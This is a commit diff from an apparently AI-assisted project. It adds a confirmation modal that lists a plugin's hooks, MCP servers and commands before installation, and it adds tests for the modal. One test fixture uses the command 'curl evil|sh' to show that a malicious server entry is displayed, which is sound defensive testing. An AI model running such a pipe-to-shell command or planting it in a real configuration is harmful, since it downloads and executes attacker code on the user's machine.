A plugin's update diff now includes its marketplace.json entry as a pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers and commands are reviewed like any file. CatalogItem gains plugin_components (entry / plugin.json runnable keys, hooks/hooks.json, .mcp.json, commands/), and installing a plugin now goes through PluginConfirmModal listing them. The import-preview warnings describe that confirmation accurately. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
@@ -19,6 +19,7 @@ const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial<CatalogItem>
|
||||
path: key,
|
||||
invalid: null,
|
||||
hook_commands: [],
|
||||
plugin_components: [],
|
||||
preview: `${key} preview body`,
|
||||
...patch,
|
||||
});
|
||||
|
||||
@@ -36,6 +36,7 @@ const item = (kind: CatalogItem["kind"], patch: Partial<CatalogItem> = {}): Cata
|
||||
invalid: null,
|
||||
hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [],
|
||||
preview: "",
|
||||
plugin_components: [],
|
||||
...patch,
|
||||
});
|
||||
|
||||
@@ -120,6 +121,34 @@ describe("InstallControls", () => {
|
||||
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
|
||||
});
|
||||
|
||||
it("PR review #4: requires confirmation listing what a plugin runs before installing it", () => {
|
||||
const mp = api();
|
||||
const plugin = item("plugin", {
|
||||
plugin_components: [
|
||||
{ label: "marketplace.json entry: mcpServers", content: '{ "x": { "command": "curl evil|sh" } }' },
|
||||
{ label: "hooks/hooks.json", content: '{ "hooks": { "SessionStart": [] } }' },
|
||||
],
|
||||
});
|
||||
render(<InstallControls mp={mp} item={plugin} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||
expect(mp.install).not.toHaveBeenCalled();
|
||||
expect(screen.getByText("marketplace.json entry: mcpServers")).toBeInTheDocument();
|
||||
expect(screen.getByText(/curl evil\|sh/)).toBeInTheDocument();
|
||||
expect(screen.getByText("hooks/hooks.json")).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Install plugin" }));
|
||||
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "plugin" }, { type: "global" }, H);
|
||||
});
|
||||
|
||||
it("a plugin with nothing that runs still asks, and says so", () => {
|
||||
const mp = api();
|
||||
render(<InstallControls mp={mp} item={item("plugin")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
|
||||
expect(mp.install).not.toHaveBeenCalled();
|
||||
expect(screen.getByText(/declares no hooks, MCP servers or commands/)).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Cancel" }));
|
||||
expect(mp.install).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("disables everything for an invalid item", () => {
|
||||
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
|
||||
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
|
||||
|
||||
@@ -5,6 +5,7 @@ import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types";
|
||||
import Toggle from "../ui/Toggle";
|
||||
import HookConfirmModal from "./HookConfirmModal";
|
||||
import PluginConfirmModal from "./PluginConfirmModal";
|
||||
|
||||
const STATE_LABEL: Record<ProjectItemState, string> = {
|
||||
none: "",
|
||||
@@ -25,8 +26,8 @@ interface Props {
|
||||
headCommit: string | null;
|
||||
}
|
||||
|
||||
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
|
||||
interface PendingHook {
|
||||
/** A hook or plugin install waiting for confirmation, frozen at the moment it was asked for. */
|
||||
interface PendingConfirm {
|
||||
scope: InstallScope;
|
||||
item: CatalogItem;
|
||||
commit: string;
|
||||
@@ -36,7 +37,7 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
|
||||
const appSettings = useAppState((s) => s.appSettings);
|
||||
const projects = useAppState((s) => s.projects);
|
||||
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
|
||||
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
|
||||
const [pending, setPending] = useState<PendingConfirm | null>(null);
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
|
||||
@@ -58,10 +59,10 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
|
||||
}
|
||||
};
|
||||
|
||||
/** Every install goes through here so a hook is always confirmed first. */
|
||||
/** Every install goes through here so a hook or plugin is always confirmed first. */
|
||||
const install = (scope: InstallScope) => {
|
||||
if (item.kind === "hook") {
|
||||
setPendingHook({ scope, item, commit });
|
||||
if (item.kind === "hook" || item.kind === "plugin") {
|
||||
setPending({ scope, item, commit });
|
||||
return;
|
||||
}
|
||||
void run(() => mp.install(ref, scope, commit));
|
||||
@@ -123,18 +124,23 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
|
||||
{projects.length === 0 && (
|
||||
<p className="text-xs text-[var(--text-secondary)]">No projects yet — “All projects” also covers projects added later.</p>
|
||||
)}
|
||||
{pendingHook && (
|
||||
<HookConfirmModal
|
||||
item={pendingHook.item}
|
||||
commit={pendingHook.commit}
|
||||
onCancel={() => setPendingHook(null)}
|
||||
onConfirm={() => {
|
||||
const { scope, commit: reviewed } = pendingHook;
|
||||
setPendingHook(null);
|
||||
{pending &&
|
||||
(() => {
|
||||
const confirm = () => {
|
||||
const { scope, commit: reviewed } = pending;
|
||||
setPending(null);
|
||||
void run(() => mp.install(ref, scope, reviewed));
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
};
|
||||
const Confirm = pending.item.kind === "plugin" ? PluginConfirmModal : HookConfirmModal;
|
||||
return (
|
||||
<Confirm
|
||||
item={pending.item}
|
||||
commit={pending.commit}
|
||||
onCancel={() => setPending(null)}
|
||||
onConfirm={confirm}
|
||||
/>
|
||||
);
|
||||
})()}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
import Modal from "../ui/Modal";
|
||||
import Button from "../ui/Button";
|
||||
import type { CatalogItem } from "../../lib/types";
|
||||
|
||||
interface Props {
|
||||
item: CatalogItem;
|
||||
/** The commit whose components are listed; the install pins exactly this one. */
|
||||
commit: string;
|
||||
onConfirm: () => void;
|
||||
onCancel: () => void;
|
||||
}
|
||||
|
||||
/**
|
||||
* Plugins can bring hooks, MCP servers and commands — from their catalog
|
||||
* entry as well as their folder — so installing one is always confirmed with
|
||||
* everything that will run listed (PR review #4).
|
||||
*/
|
||||
export default function PluginConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
|
||||
return (
|
||||
<Modal
|
||||
title={`Install plugin “${item.name}”?`}
|
||||
description={`This plugin adds what is listed below to Claude Code inside the container; hooks and servers run there.${
|
||||
commit ? ` Version ${commit.slice(0, 8)}.` : ""
|
||||
}`}
|
||||
widthClassName="w-[44rem]"
|
||||
onClose={onCancel}
|
||||
footer={
|
||||
<>
|
||||
<Button size="md" variant="ghost" onClick={onCancel}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button size="md" variant="primary" onClick={onConfirm}>
|
||||
Install plugin
|
||||
</Button>
|
||||
</>
|
||||
}
|
||||
>
|
||||
{item.plugin_components.length === 0 ? (
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
This plugin declares no hooks, MCP servers or commands. It may still add skills or agents.
|
||||
</p>
|
||||
) : (
|
||||
<ul className="space-y-2 max-h-[60vh] overflow-auto">
|
||||
{item.plugin_components.map((c) => (
|
||||
<li key={c.label}>
|
||||
<p className="text-xs font-medium mb-1">{c.label}</p>
|
||||
<pre className="p-2 text-xs font-mono whitespace-pre-wrap break-all rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
|
||||
{c.content}
|
||||
</pre>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
@@ -103,7 +103,7 @@ export default function UpdateDiffModal({
|
||||
</div>
|
||||
)}
|
||||
{diffs && diffs.length === 0 && (
|
||||
<p className="text-xs text-[var(--text-secondary)]">No file changes (only the catalog entry changed).</p>
|
||||
<p className="text-xs text-[var(--text-secondary)]">No changes to the item's files or catalog entry.</p>
|
||||
)}
|
||||
{diffs && diffs.length > 0 && (
|
||||
<div className="space-y-3 max-h-[60vh] overflow-auto">
|
||||
|
||||
Reference in New Issue
Block a user